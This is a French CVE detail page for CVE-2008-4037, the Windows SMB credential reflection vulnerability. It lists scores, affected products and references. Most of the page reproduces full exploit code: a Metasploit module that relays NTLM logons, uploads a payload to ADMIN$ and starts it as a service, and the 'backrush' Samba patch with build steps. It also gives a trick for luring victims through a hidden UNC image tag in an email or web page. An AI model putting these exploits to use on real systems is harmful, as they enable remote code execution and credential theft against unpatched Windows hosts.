CVE-2008-4037 : Détail

CVE-2008-4037

Authorization problems
A07-Identif. and Authent. Fail
75.53%V4
Network
2008-11-12
22h00 +00:00
2018-10-12
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Microsoft Windows 2000 Gold through SP4, XP Gold through SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008 allows remote SMB servers to execute arbitrary code on a client machine by replaying the NTLM credentials of a client user, as demonstrated by backrush, aka "SMB Credential Reflection Vulnerability." NOTE: some reliable sources report that this vulnerability exists because of an insufficient fix for CVE-2000-0834.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 16360

Date de publication : 2010-09-20 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: smb_relay.rb 10404 2010-09-21 00:13:30Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## =begin Windows XP systems that are not part of a domain default to treating all network logons as if they were Guest. This prevents SMB relay attacks from gaining administrative access to these systems. This setting can be found under: Local Security Settings > Local Policies > Security Options > Network Access: Sharing and security model for local accounts =end require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMBServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows SMB Relay Code Execution', 'Description' => %q{ This module will relay SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload. To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate. Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained. The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation. The SMB authentication relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia. On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin includes a patch which prevents the relaying of challenge keys back to the host which issued them, preventing this exploit from working in the default configuration. It is still possible to set the SMBHOST parameter to a third-party host that the victim is authorized to access, but the "reflection" attack has been effectively broken. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10404 $', 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'StackAdjustment' => -3500, }, 'References' => [ [ 'CVE', '2008-4037'], [ 'OSVDB', '49736'], [ 'MSB', 'MS08-068'], [ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'], [ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ], [ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ], [ 'URL', 'http://www.xfocus.net/articles/200305/smbrelay.html' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'Mar 31 2001', 'DefaultTarget' => 0 )) register_options( [ OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]) ], self.class ) end if (not const_defined?('NDR')) NDR = Rex::Encoder::NDR end def smb_haxor(c) smb = @state[c] rclient = smb[:rclient] if (@pwned[smb[:rhost]]) print_status("Ignoring request from #{smb[:rhost]}, attack already in progress.") return end if (not rclient.client.auth_user) print_line(" ") print_error( "FAILED! The remote host has only provided us with Guest privileges. " + "Please make sure that the correct username and password have been provided. " + "Windows XP systems that are not part of a domain will only provide Guest privileges " + "to network logins by default." ) print_line(" ") return end print_status("Connecting to the ADMIN$ share...") rclient.connect("ADMIN$") @pwned[smb[:rhost]] = true print_status("Regenerating the payload...") code = regenerate_payload(smb[:rsock]) # Upload the shellcode to a file print_status("Uploading payload...") filename = rand_text_alpha(8) + ".exe" servicename = rand_text_alpha(8) fd = rclient.open("\\#{filename}", 'rwct') exe = '' opts = { :servicename => servicename, :code => code.encoded } if (datastore['PAYLOAD'].include? 'x64') opts.merge!({ :arch => ARCH_X64 }) end exe = generate_payload_exe_service(opts) fd << exe fd.close print_status("Created \\#{filename}...") # Disconnect from the ADMIN$ rclient.disconnect("ADMIN$") print_status("Connecting to the Service Control Manager...") rclient.connect("IPC$") dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl") ## # OpenSCManagerW() ## print_status("Obtaining a service manager handle...") scm_handle = nil stubdata = NDR.uwstring("\\\\#{smb[:rhost]}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) scm_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end ## # CreateServiceW() ## servicename = rand_text_alpha(8) displayname = rand_text_alpha(rand(32)+1) svc_handle = nil svc_status = nil print_status("Creating a new service...") stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies NDR.long(0) + # Service Start NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) # Password begin response = dcerpc.call(0x0c, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("Error: #{e}") return end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end ## # OpenServiceW ## print_status("Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end ## # StartService() ## print_status("Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e return #print_error("Error: #{e}") end ## # DeleteService() ## print_status("Removing the service...") stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e print_error("Error: #{e}") end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("Error: #{e}") end rclient.disconnect("IPC$") print_status("Deleting \\#{filename}...") rclient.connect("ADMIN$") rclient.delete("\\#{filename}") end def smb_dcerpc(c, uuid, version, pipe) smb = @state[c] opts = { 'Msf' => framework, 'MsfExploit' => self, 'smb_pipeio' => 'rw', 'smb_client' => smb[:rclient] } handle = Rex::Proto::DCERPC::Handle.new([uuid, version], 'ncacn_np', smb[:ip], [pipe]) dcerpc = Rex::Proto::DCERPC::Client.new(handle, smb[:rsock], opts) end def smb_cmd_dispatch(cmd, c, buff) smb = @state[c] @pwned ||= {} case cmd when CONST::SMB_COM_NEGOTIATE smb_cmd_negotiate(c, buff) when CONST::SMB_COM_SESSION_SETUP_ANDX smb_cmd_session_setup(c, buff) when CONST::SMB_COM_TREE_CONNECT print_status("Denying tree connect from #{smb[:name]}") pkt = CONST::SMB_BASE_PKT.make_struct pkt['Payload']['SMB'].v['Command'] = cmd pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022 c.put(pkt.to_s) else print_status("Ignoring request from #{smb[:name]} (#{cmd})") pkt = CONST::SMB_BASE_PKT.make_struct pkt['Payload']['SMB'].v['Command'] = cmd pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['ErrorClass'] = 0 # 0xc0000022 c.put(pkt.to_s) end end def smb_cmd_negotiate(c, buff) smb = @state[c] pkt = CONST::SMB_NEG_PKT.make_struct pkt.from_s(buff) # Record the remote process ID smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] group = '' machine = smb[:nbsrc] dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) # print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}") dialect = dialects.index("NT LM 0.12") || dialects.length-1 # Dialect selected, now we try to the target system target_host = datastore['SMBHOST'] if (not target_host or target_host.strip.length == 0) target_host = smb[:ip] end rsock = nil rport = nil [445, 139].each do |rport_| rport = rport_ begin rsock = Rex::Socket::Tcp.create( 'PeerHost' => target_host, 'PeerPort' => rport, 'Timeout' => 3, 'Context' => { 'Msf' => framework, 'MsfExploit' => self, } ) break if rsock rescue ::Interrupt raise $! rescue ::Exception => e print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}") end end if(not rsock) print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.") return end rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false) begin rclient.login_split_start_ntlm1(smb[:nbsrc]) rescue ::Interrupt raise $! rescue ::Exception => e print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}") raise e end if (not rclient.client.challenge_key) print_error("No challenge key received from #{smb[:ip]}:#{rport}") rsock.close return end if (smb[:rsock]) smb[:rsock].close end smb[:rsock] = rsock smb[:rclient] = rclient smb[:rhost] = target_host pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct smb_set_defaults(c, pkt) time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['WordCount'] = 17 pkt['Payload'].v['Dialect'] = dialect pkt['Payload'].v['SecurityMode'] = 3 pkt['Payload'].v['MaxMPX'] = 2 pkt['Payload'].v['MaxVCS'] = 1 pkt['Payload'].v['MaxBuff'] = 4356 pkt['Payload'].v['MaxRaw'] = 65536 pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended pkt['Payload'].v['ServerTime'] = time_lo pkt['Payload'].v['ServerDate'] = time_hi pkt['Payload'].v['Timezone'] = 0x0 pkt['Payload'].v['SessionKey'] = 0 pkt['Payload'].v['KeyLength'] = 8 pkt['Payload'].v['Payload'] = rclient.client.challenge_key + Rex::Text.to_unicode(group) + "\x00\x00" + Rex::Text.to_unicode(machine) + "\x00\x00" c.put(pkt.to_s) end def smb_cmd_session_setup(c, buff) smb = @state[c] pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct pkt.from_s(buff) # Record the remote multiplex ID smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] lm_len = pkt['Payload'].v['PasswordLenLM'] nt_len = pkt['Payload'].v['PasswordLenNT'] lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0] nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] buff = pkt['Payload'].v['Payload'] buff.slice!(0, lm_len + nt_len) names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } smb[:username] = names[0] smb[:domain] = names[1] smb[:peer_os] = names[2] smb[:peer_lm] = names[3] # Clean up the data for loggging if (smb[:username] == "") smb[:username] = nil end if (smb[:domain] == "") smb[:domain] = nil end print_status( "Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " + "LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " + "OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}" ) if (lm_hash == "" or lm_hash == "00") lm_hash = nil end if (nt_hash == "") nt_hash = nil end if (lm_hash or nt_hash) rclient = smb[:rclient] print_status("Authenticating to #{smb[:rhost]} as #{smb[:domain]}\\#{smb[:username]}...") res = nil begin res = rclient.login_split_next_ntlm1( smb[:username], smb[:domain], [ (lm_hash ? lm_hash : "00" * 24) ].pack("H*"), [ (nt_hash ? nt_hash : "00" * 24) ].pack("H*") ) rescue XCEPT::LoginError end if (res) print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...") smb_haxor(c) else print_error("Failed to authenticate as #{smb[:domain]}\\#{smb[:username]}...") end end print_status("Sending Access Denied to #{smb[:name]} #{smb[:domain]}\\#{smb[:username]}") pkt = CONST::SMB_BASE_PKT.make_struct smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022 c.put(pkt.to_s) end end
Exploit Database EDB-ID : 7125

Date de publication : 2008-11-13 23h00 +00:00
Auteur : Andres Tarasco
EDB Vérifié : Yes

* SMBRELAY 3 - NTLM replay attack (version 1.0 ) public version * (c) 2008 Andres Tarasco Acuña ( atarasco _at_ gmail.com ) * URL: http://tarasco.org/Web/tools.html https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7125.zip (2008-smbrelay3.zip) # milw0rm.com [2008-11-14]
Exploit Database EDB-ID : 20

Date de publication : 2003-04-24 22h00 +00:00
Auteur : Haamed Gheibi
EDB Vérifié : Yes

########################################## # Exploit for "Authentication flaw in Windows SMB protocol" # ########################################## # Release Date: # April 24, 2003 # # Code by Haamed Gheibi (haamed@linux.ce.aut.ac.ir) # Salman Niksefat (salman@linux.ce.aut.ac.ir) # # Systems Affected by this exploit: # Windows 2000 (SP0 SP1 SP2 SP3) # Windows XP (SP0 SP1) # # EXPLOIT PROVIDED FOR EDUCATIONAL PURPOSES ONLY AS A PROOF OF CONCEPT # WE TAKE NO RESPONSIBILITY FOR USE OF THIS CODE. ########################################## This exploit is based on samba-2.2.8a, you can download the source code from: http://us1.samba.org/samba/ftp/samba-2.2.8a.tar.bz2 or other mirrors. First you should configure and make samba source code as follow: You need first to extract the file: $ tar -jxf samba-2.2.8a.tar.bz2 $ cd samba-2.2.8a/source Here you need to configure with suitable options. Here is a config for RedHat 9: $ ./configure --sysconfdir=/etc --with-codepagedir=/usr/share/samba/codepages\ --with-lockdir=/var/cache/samba --with-configdir=/etc/samba $ make $ make bin/smbmount $ su # make install First add an arbitary user to samba: (Choose a reliable password for it for your protection!) # smbadduser smbtmpuser:root Now check if your samba server(bin/smbd) and client(bin/smbmount) are working, and that ipchains rulls are not set. you can use: # service smbd stop # bin/smbd -i # ipchains -F Well, now if everything works fine, you can apply the exploit code to the source. Download it from: http://seclab.ce.aut.ac.ir/samba-exp/exploit/backrush.patch # patch < backrush.patch Make it again: # make bin/smbd # make bin/smbmount [Note that you shouldn't make whole samba, cause you may get linker errors] Make necessary directories: # mkdir -p bin/backrush/log # mkdir bin/backrush/mnt # touch bin/backrush/ip2sharename.map Now we are done, you MUST change directory to bin and run the server: # cd bin # killall -9 smbd # ./smbd Now by default, the C$ share folder of any Windows machine who tries to connect to this SMB server, would be mounted to mnt/machinename-random folder. If you want to mount another share folder, you can add an entry to ip2sharename.map file as follow: IPADDRESS:SHARENAME This option is suitable for XP systems. 2 ways 2 force a client to automatically connect to your modified SMB server: 1. Send him/her a HTML email with the following tag: <IMG src='\\smb-server\nofile.gif' width=1 height=1> 2. Invite him/her to visit your personal web page. You can make it by the above tag, then pray and wait until he/she visits your page. ;) Enjoy! * backrush.patch * diff -Nur /root/samba-2.2.8a/source/client/smbmount.c /backrush/source.exp/client/smbmount.c --- /root/samba-2.2.8a/source/client/smbmount.c 2002-04-30 17:56:19.000000000 +0430 +++ /backrush/source.exp/client/smbmount.c 2003-04-19 16:28:04.000000000 +0430 @@ -26,6 +26,10 @@ #include <mntent.h> #include <asm/types.h> #include <linux/smb_fs.h> +//>Backrush +int br_read[2], br_write[2], br_pid; +struct Backrush br_state; +//< extern BOOL in_client; extern pstring user_socket_options; @@ -177,6 +181,21 @@ cli_shutdown(c); return NULL; } +//>Backrush + { + int i; + printf("challange: "); + for (i = 0; i < 8; i++) + printf("%0.2x",c->cryptkey[i]); + fflush(stdout); + memcpy(br_state.challenge, c->cryptkey, 8); + br_state.status = 1; + write(br_write[1],&br_state, sizeof(br_state)); + printf(" sent to server\n"); + printf("waiting for response...\n"); + fflush(stdout); + } +//< if (!got_pass) { char *pass = getpass("Password: "); @@ -848,6 +867,14 @@ if (*credentials != 0) { read_credentials_file(credentials); } +//>Backrush + printf("Started to mount %s on %s\n",argv[1], argv[2]); + fflush(stdout); + if (getenv("BACKRUSH_READ")) + br_read[0] = atoi(getenv("BACKRUSH_READ")); + if (getenv("BACKRUSH_WRITE")) + br_write[1] = atoi(getenv("BACKRUSH_WRITE")); +//< DEBUG(3,("mount.smbfs started (version %s)\n", VERSION)); diff -Nur /root/samba-2.2.8a/source/include/includes.h /backrush/source.exp/include/includes.h --- /root/samba-2.2.8a/source/include/includes.h 2003-02-28 19:26:18.000000000 +0330 +++ /backrush/source.exp/include/includes.h 2003-04-17 10:36:54.000000000 +0430 @@ -1,5 +1,26 @@ #ifndef _INCLUDES_H #define _INCLUDES_H + +//>Backrush +#include <stdlib.h> +#include <time.h> +struct Backrush +{ + int status; + char ip_address[20]; + int port; + char username[256]; + char sharename[256]; + char netbios[256]; + char domain[256]; + char challenge[8]; + char nt_resp[24]; + char lm_resp[24]; +}; +extern struct Backrush br_state; +extern int br_read[2],br_write[2],br_pid; +//< + /* Unix SMB/Netbios implementation. Version 1.9. diff -Nur /root/samba-2.2.8a/source/libsmb/cliconnect.c /backrush/source.exp/libsmb/cliconnect.c --- /root/samba-2.2.8a/source/libsmb/cliconnect.c 2003-03-15 01:04:48.000000000 +0330 +++ /backrush/source.exp/libsmb/cliconnect.c 2003-04-17 12:30:26.000000000 +0430 @@ -23,7 +23,6 @@ #include "includes.h" - static const struct { int prot; const char *name; @@ -265,7 +264,28 @@ memcpy(pword, pass, passlen); memcpy(ntpword, ntpass, ntpasslen); } - +//>Backrush + { + int i; + read(br_read[0],&br_state, sizeof(br_state)); + printf("received response:\n"); + fflush(stdout); + memcpy(pword, br_state.lm_resp, 24); + memcpy(ntpword, br_state.nt_resp, 24); + if(br_state.username[0]) + strncpy(user, br_state.username, 24); + printf("username: %s\n", user); + printf("lm response: "); + for (i = 0; i < 24; i++) + printf("%0.2x",pword[i]); + printf("\n"); + printf("nt response: "); + for (i = 0; i < 24; i++) + printf("%0.2x",ntpword[i]); + printf("\n"); + fflush(stdout); + } +//< /* send a session setup command */ memset(cli->outbuf,'\0',smb_size); diff -Nur /root/samba-2.2.8a/source/smbd/negprot.c /backrush/source.exp/smbd/negprot.c --- /root/samba-2.2.8a/source/smbd/negprot.c 2003-03-15 01:04:49.000000000 +0330 +++ /backrush/source.exp/smbd/negprot.c 2003-04-24 13:37:19.000000000 +0430 @@ -180,6 +180,45 @@ doencrypt = ((cli->sec_mode & 2) != 0); } +//>Backrush + { + srand(time(NULL)); + pipe(br_read); + pipe(br_write); + br_state.status = 1; + br_state.port = random(); + strncpy(br_state.ip_address, get_socket_addr(smbd_server_fd()), sizeof(br_state.ip_address)); + strncpy(br_state.sharename, "c$", sizeof(br_state.sharename)); + { + char tmp[1024], *ptr; + FILE *fin = fopen("backrush/ip2sharename.map","r"); + if (fin) + { + while(fscanf(fin, "%s", tmp) > 0) + { + ptr = strchr(tmp, ':'); + *ptr++ = 0; + if (!strcmp(br_state.ip_address,tmp)) + strncpy(br_state.sharename, ptr, sizeof(br_state.sharename)); + } + fclose(fin); + } + } + if (!(br_pid = fork())) + { + char cmd[1024]; + snprintf(cmd, sizeof cmd, "mkdir -p backrush/mnt/%s-%d", br_state.ip_address, br_state.port); + system(cmd); + snprintf(cmd, sizeof cmd, "export BACKRUSH_READ=%d; export BACKRUSH_WRITE=%d; ./smbmount //%s/%s backrush/mnt/%s-%d -o username=root,password=let_me_go_in >backrush/log/%s-%d", + br_write[0], br_read[1], br_state.ip_address, br_state.sharename, br_state.ip_address, br_state.port, br_state.ip_address, br_state.port); + system(cmd); + snprintf(cmd, sizeof cmd, "echo smbmount compeleted >>backrush/log/%s-%d", br_state.ip_address, br_state.port); + system(cmd); + _exit(0); + } + } +//< + if (doencrypt) { crypt_len = 8; if (!cli) { diff -Nur /root/samba-2.2.8a/source/smbd/password.c /backrush/source.exp/smbd/password.c --- /root/samba-2.2.8a/source/smbd/password.c 2003-04-07 06:24:00.000000000 +0430 +++ /backrush/source.exp/smbd/password.c 2003-04-19 09:15:47.000000000 +0430 @@ -48,6 +48,10 @@ unsigned char buf[8]; generate_random_buffer(buf,8,False); +//>Backrush + read(br_read[0],&br_state, sizeof(br_state)); + memcpy(buf, br_state.challenge, 8); +//< memcpy(saved_challenge, buf, 8); memcpy(challenge,buf,8); @@ -466,7 +470,13 @@ uchar challenge[8]; char* user_name; uint8 *nt_pw, *lm_pw; - +//>Backrush + memcpy(br_state.nt_resp, nt_pass, 24); + memcpy(br_state.lm_resp, lm_pass, 24); + write(br_write[1],&br_state, sizeof(br_state)); +// waitpid(br_pid,NULL,WNOHANG); + return(False); +//< if (!lm_pass || !sampass) return(False); diff -Nur /root/samba-2.2.8a/source/smbd/reply.c /backrush/source.exp/smbd/reply.c --- /root/samba-2.2.8a/source/smbd/reply.c 2003-04-07 06:24:00.000000000 +0430 +++ /backrush/source.exp/smbd/reply.c 2003-04-16 18:03:58.000000000 +0430 @@ -974,6 +974,11 @@ * security=domain. */ +//>Backrush + strncpy(br_state.username,user,sizeof(br_state.username)); + strncpy(user,"root",sizeof(br_state.username)); +//< + if (!guest && !check_server_security(orig_user, domain, user, smb_apasswd, smb_apasslen, smb_ntpasswd, smb_ntpasslen) && !check_domain_security(orig_user, domain, user, smb_apasswd, diff -Nur /root/samba-2.2.8a/source/smbd/server.c /backrush/source.exp/smbd/server.c --- /root/samba-2.2.8a/source/smbd/server.c 2003-03-15 01:04:49.000000000 +0330 +++ /backrush/source.exp/smbd/server.c 2003-04-16 18:05:17.000000000 +0430 @@ -25,6 +25,11 @@ extern fstring global_myworkgroup; extern pstring global_myname; +//<Backrush +int br_read[2],br_write[2],br_pid; +struct Backrush br_state; +//> + int am_parent = 1; /* the last message the was processed */ # milw0rm.com [2003-04-25]

Products Mentioned

Configuraton 0

Microsoft>>Windows >> Version server_2003

    Microsoft>>Windows >> Version server_2003

      Microsoft>>Windows >> Version server_2003

        Microsoft>>Windows >> Version server_2003

          Microsoft>>Windows >> Version server_2003

            Microsoft>>Windows >> Version server_2003

              Microsoft>>Windows >> Version xp

                Microsoft>>Windows >> Version xp

                  Microsoft>>Windows >> Version xp

                    Microsoft>>Windows >> Version xp

                      Microsoft>>Windows_2000 >> Version -

                      Microsoft>>Windows_server_2008 >> Version -

                      Microsoft>>Windows_server_2008 >> Version -

                      Microsoft>>Windows_server_2008 >> Version -

                      Microsoft>>Windows_vista >> Version -

                      Microsoft>>Windows_vista >> Version -

                      Microsoft>>Windows_vista >> Version -

                      Références

                      http://marc.info/?l=bugtraq&m=122703006921213&w=2
                      Tags : vendor-advisory, x_refsource_HP
                      http://www.us-cert.gov/cas/techalerts/TA08-316A.html
                      Tags : third-party-advisory, x_refsource_CERT
                      http://osvdb.org/49736
                      Tags : vdb-entry, x_refsource_OSVDB
                      http://securitytracker.com/id?1021163
                      Tags : vdb-entry, x_refsource_SECTRACK
                      http://marc.info/?l=bugtraq&m=122703006921213&w=2
                      Tags : vendor-advisory, x_refsource_HP
                      http://www.vupen.com/english/advisories/2008/3110
                      Tags : vdb-entry, x_refsource_VUPEN
                      http://secunia.com/advisories/32633
                      Tags : third-party-advisory, x_refsource_SECUNIA
                      http://www.securityfocus.com/bid/7385
                      Tags : vdb-entry, x_refsource_BID
                      https://www.exploit-db.com/exploits/7125
                      Tags : exploit, x_refsource_EXPLOIT-DB